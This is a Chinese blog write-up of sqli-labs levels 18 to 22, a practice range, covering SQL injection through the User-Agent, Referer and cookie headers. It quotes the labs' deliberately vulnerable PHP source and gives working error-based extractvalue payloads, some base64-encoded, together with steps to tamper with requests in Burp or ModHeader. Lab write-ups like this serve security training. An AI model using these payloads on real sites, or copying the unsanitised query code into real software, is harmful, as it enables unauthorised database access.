靶场练习-Sqli-labs通关记录(post型)(18-22关)

0x00 实验环境

本地:Win 10

靶场:sqli-labs(共65关,每日一关)

 

0x02 通关记录

简介:一天一关!

 

(18)第十八关:

第十八关开始,可衔接上文中:HTTP头部标识学习

到了第十八关,记得一定时是输入正确的登录密码时才会注入

 

 发现页面存在一个address地址,这时可以猜想,是否存在http请求头注入。

我们首先看一下源代码:存在一个insert语句:这里是没有对这个addressuagent参数进行过滤的:

    $uagent = $_SERVER['HTTP_USER_AGENT'];
    $IP = $_SERVER['REMOTE_ADDR'];
    echo "<br>";
    echo 'Your IP ADDRESS is: ' .$IP;
    echo "<br>";
    //echo 'Your User Agent is: ' .$uagent;
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))

    {
    $uname = check_input($_POST['uname']);
    $passwd = check_input($_POST['passwd']);
    
    /*
    echo 'Your Your User name:'. $uname;
    echo "<br>";
    echo 'Your Password:'. $passwd;
    echo "<br>";
    echo 'Your User Agent String:'. $uagent;
    echo "<br>";
    echo 'Your User Agent String:'. $IP;
    */

    //logging the connection parameters to a file for analysis.    
    $fp=fopen('result.txt','a');
    fwrite($fp,'User Agent:'.$uname."\n");
    
    fclose($fp);
    
    
    
    $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
    $result1 = mysql_query($sql);
    $row1 = mysql_fetch_array($result1);
        if($row1)
            {
            echo '<font color= "#FFFF00" font size = 3 >';
            $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
            mysql_query($insert);
            //echo 'Your IP ADDRESS is: ' .$IP;
            echo "</font>";
            //echo "<br>";
            echo '<font color= "#0000ff" font size = 3 >';            
            echo 'Your User Agent is: ' .$uagent;
            echo "</font>";
            echo "<br>";
            print_r(mysql_error());            
            echo "<br><br>";
            echo '<img src="../images/flag.jpg"  />';
            echo "<br>";
            
            }

 

 

 仅仅是check_inusernamepassword

也就是可以对uagent与页面回显的address参数进行注入尝试,因此我们可以尝试对uagent进行注入:

看网上说的cookie插件都找不到了,这款谷歌火狐都可以使用:ModHeader

 

' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1

还是万年不变的报错语句,如上所示!

 

 通关成功!

 

(19)第十九关:

如果是黑盒测试的话就直接对不同的http请求头进行注入尝试,如果是白盒的话就先进行代码审计,这里我们依旧看看源码

嗯嗯,有个check_input函数进行过滤,然后再看看这个函数在哪个位置进行了调用:

 

看这三个位置,对账号及密码进行了检测,登录成功则会对refererip_address插入:

$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";

如果使用了报错语句会有以下的闭合:

$insert
="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1', '$IP')";

 

然后是进行了插入操作:

 

 

 插入了ip_addressreferers,因此我们可以对referers进行注入尝试,主要是这个好注入一些:

' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1

 

这里是在后面的VALUES处进行了拼接,针对不同的句型可能就需要不同的拼接语句了:

 

 

(20)第二十关:

if(!isset($_POST['submit']))
        {
            
            $cookee = $_COOKIE['uname'];
            $format = 'D d M Y - H:i:s';
            $timestamp = time() + 3600;
            echo "<center>";
            echo '<br><br><br>';
            echo '<img src="../images/Less-20.jpg" />';
            echo "<br><br><b>";
            echo '<br><font color= "red" font size="4">';    
            echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];
            echo "</font><br>";    
            echo '<font color= "cyan" font size="4">';    
            echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];            
            echo "</font><br>";            
            echo '<font color= "#FFFF00" font size = 4 >';
            echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";
            echo '<font color= "orange" font size = 5 >';            
            echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
            
            
            echo "<br></font>";
            $sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
            $result=mysql_query($sql);

 

这句代码是什么意思呢?

$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";

我们尝试登录成功:

 

 

 

 登录失败:

 

(1)发现只有登录成功,才会插入cookie,首先登录成功就设置cookieusername,然后再查询一下cookie

(2)是两个包:那我们只要在第一个包的时候设置cookie为闭合的语句,那就能在第二个包使用到报错语句来注入了:

 

第一个包插入cookie,设置为报错的注入语句,第二个包就会变成如下查询语句,并成功闭合,前提是你需要先登录成功

$sql="SELECT * FROM users WHERE username='123' union select extractvalue(1,concat(0x7e,(select user()),0x7e)),1#' LIMIT 0,1";

首先设置cookie:

 

 然后输入正确的账号密码,抓包,然后改登录成功的cookie就能注入,但是这里似乎是对符号进行了过滤(php版本不对):

 

 

 

 经测试发现,php5.2版本这个不行,所以尝试了一下其他版本的,5.5啥的,反正他们要是不成功千万不要总是一个劲猛试,要思考为什么:

 

然后就成功报错了,爆出了php版本号,这个测试办法很简单,就是先研究一下登录失败与成功cookie有什么不同,然后在第一个包正常登录,发送时修改第二个包的cookie值,不管你是用modheader还是burp,都能做到注入!如下图,在跳转302的包时,拦截并修改cookie,就能达到注入效果,修改modheader也是OK的。

(21)第二十一关:

if(!isset($_POST['submit']))
        {
            $cookee = $_COOKIE['uname'];
            $format = 'D d M Y - H:i:s';
            $timestamp = time() + 3600;
            echo "<center>";
            echo "<br><br><br><b>";
            echo '<img src="../images/Less-21.jpg" />';
            echo "<br><br><b>";
            echo '<br><font color= "red" font size="4">';    
            echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];
            echo "</font><br>";    
            echo '<font color= "cyan" font size="4">';    
            echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];            
            echo "</font><br>";            
            echo '<font color= "#FFFF00" font size = 4 >';
            echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";
            echo '<font color= "orange" font size = 5 >';            
            echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
            
            $cookee = base64_decode($cookee);
            echo "<br></font>";
            $sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
            $result=mysql_query($sql);
            if (!$result)
                  {
                  die('Issue with your mysql: ' . mysql_error());
                  }
            $row = mysql_fetch_array($result);

21关与20关唯一的不同有两个,一个是加了个base64_decode,另一个是使用了')来闭合,意思就是在查询的时候,他会先对你输入的内容进行base64解码,同时再进行')闭合,所以这里肯定是在之前需要你传入base64加密的cookie的:

 

 验证一下是不是我们所想的,尝试登录成功并抓包看看响应:

 

 第一个包被base64加密了,我们在这个302的跳转包只要同样的修改为注入的闭合语句并base64加密即可:

uname=admin1') and extractvalue(1,concat(0x7e,(select @@version),0x7e))#

uname=YWRtaW4xJykgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgQEB2ZXJzaW9uKSwweDdlKSkj

 跳转登录成功时改包:

 

 

 

 

 

 成功报错!

(22)第二十二关:

同理,22关相比21关仅仅是修改了闭合语句

    if(!isset($_POST['submit']))
        {
            $cookee = $_COOKIE['uname'];
            $format = 'D d M Y - H:i:s';
            $timestamp = time() + 3600;
            echo "<center>";
            echo "<br><br><br><b>";
            echo '<img src="../images/Less-21.jpg" />';
            echo "<br><br><b>";
            echo '<br><font color= "red" font size="4">';    
            echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];
            echo "</font><br>";    
            echo '<font color= "cyan" font size="4">';    
            echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];            
            echo "</font><br>";            
            echo '<font color= "#FFFF00" font size = 4 >';
            echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";
            echo '<font color= "orange" font size = 5 >';            
            echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
            
            $cookee = base64_decode($cookee);
            $cookee1 = '"'. $cookee. '"';
            echo "<br></font>";
            $sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";
            $result=mysql_query($sql);
            if (!$result)
                  {
                  die('Issue with your mysql: ' . mysql_error());
                  }
            $row = mysql_fetch_array($result);

 

单独拿出来,cookee加了"双引号:

 $cookee1 = '"'. $cookee. '"';
admin1" and extractvalue(1,concat(0x7e,(select @@version),0x7e))#

 

 

 

 修改为base64闭合语句

YWRtaW4xIiBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQHZlcnNpb24pLDB4N2UpKSM=

 

 

 

 以上就是18关至22关http请求头注入的部分方式。结合现实挖漏洞,则需要大家对waf进行绕过,或者是多观察加密方式等情况。

posted @ 2021-11-15 10:45  铺哩  阅读(316)  评论(0编辑  收藏  举报